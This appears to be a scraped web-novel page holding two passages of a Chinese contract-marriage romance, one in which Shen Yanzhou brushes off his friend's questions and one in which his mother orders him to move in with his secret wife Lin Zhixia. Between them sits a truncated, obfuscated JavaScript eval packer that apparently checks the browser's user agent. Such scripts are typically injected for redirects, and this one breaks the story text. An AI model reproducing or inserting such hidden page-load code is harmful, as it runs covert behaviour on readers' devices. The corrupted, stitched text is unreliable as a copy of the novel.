沈砚舟沉默了片刻。 玻璃外的城市灯光在他眼底映出一层冷色,他忽然又想起那个印在脑海里的画面来—— 白裙、草地、风声。 还有她抬头看风筝时,那种没有任何防备与世故的笑、打拳骂人的时候,无所忌惮的发泄。 白天会议室里,她站起身汇报方案时,语气克制,逻辑严谨,看向他的时候,眼睛却很亮。 那一瞬间,他几乎要点头。 但也正是那一瞬间,他忽然头一次感觉到了,自己心里冒出来的,那点令他不舒服、并不受控的失序感。 于是他否定了她。 沈砚舟很快收回思绪,语气恢复到一贯的平稳:“工作需要。” 顾呈看着他,没有再拆穿。 “行。”他站起身,“那我不打扰你了,回头并购案那边再细谈。” 沈砚舟点头。 顾呈走了两步,又回头,像是最后一句玩笑:“对了,秦蔓还问我一句。” “问什么?”他问。 “问你现在是不是还像以前那样。”顾呈笑了笑,“我没替你回答。” 沈砚舟没说话。 雪茄燃到尾端,他却没有再吸,只是任由烟雾慢慢散掉。 ——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们俩自以为上次真的同床而眠以后,就已经骗过了温晚棠,但很显然,姜还是老的辣。 她历来不擅长说谎,更不必提,是在这样直接了当的锐利目光注视之下。 只能老老实实的点了点头:“是,阿姨,我们现在暂时不一块住。” “但……”她想接着为她和沈砚舟找补一句,毕竟不出差错的协议结婚妻子,是他摆在那份合同上的要求。 沈母脸上的笑意,却彻底消失了。 她放下了手里的筷子,锐利的目光扫了一眼沈砚舟,语气不容置喙:“那不行,你们是夫妻,又不仅仅是上下级关系。” “再这样下去,就算外人不知道你们是夫妻关系,你们俩不会自己也忘了吧?” 包厢里霎时安静了,林知夏一时之间,不知道再说些什么好。 “砚舟,你要学会好好珍惜知夏。”温晚棠脸上的表情,却兀然变了,语气严肃,多了劝说的意味。 这句话一出口,甚至令林知夏都感到意外。 温晚棠其实很少提起那一年。 丈夫倒下得太快了。 没有任何征兆,没有留下一句告别,只是某个清晨,手机突然响起,是他的私人助理打来的紧急电话。 后来所有人都说,沈泽渊是劳累过度。她听见“劳累”两个字时,心里忽然一空。 也是从那之后,她开始本能地厌恶“拼命”“熬夜”“再撑一会儿”这些词。 她看着沈砚舟长大,看着他一步步变成众人口中冷静、强势、极度自律的小沈总。 所有人都夸他能干,就像他父亲沈泽渊,身上有他的影子存在。 只有温晚棠心里在发紧。 她太清楚了——那不是天赋,是一种透支。 所以当沈砚舟,第一次把林知夏带回家的时候,她并没有急着去看她的履历、出身、家世。 她看来,这些都无关紧要。 她只是注意到一件很小的事。 林知夏替沈砚舟倒茶时,会下意识把杯子推近一些,方便他伸手;听他说话时,不插嘴,也不急着回应; 甚至在他讲工作时,目光里也只有一种极安静、耐心的温柔注视。 那一瞬间,沈母忽然明白了。 这个女孩身上,有一种极其稀缺的东西——她不是被他的能力吸引的。 她是真的在照顾他这个人。 不是劝他更拼命,不是陪他熬更晚的夜。 而是那种,会在自己的儿子不自觉透支他自己时,默默站在一旁,把界限往回拉一点的人。 于是,她当下就同意了他们俩领证、隐婚的事。 下一秒,温晚棠看向他们俩,说出来的话,令林知夏瞬间愣了一下,白皙的耳根发烫,完全不敢相信: “砚舟,明天开始,你就必须把知夏接回家去住,你们俩立刻同居!”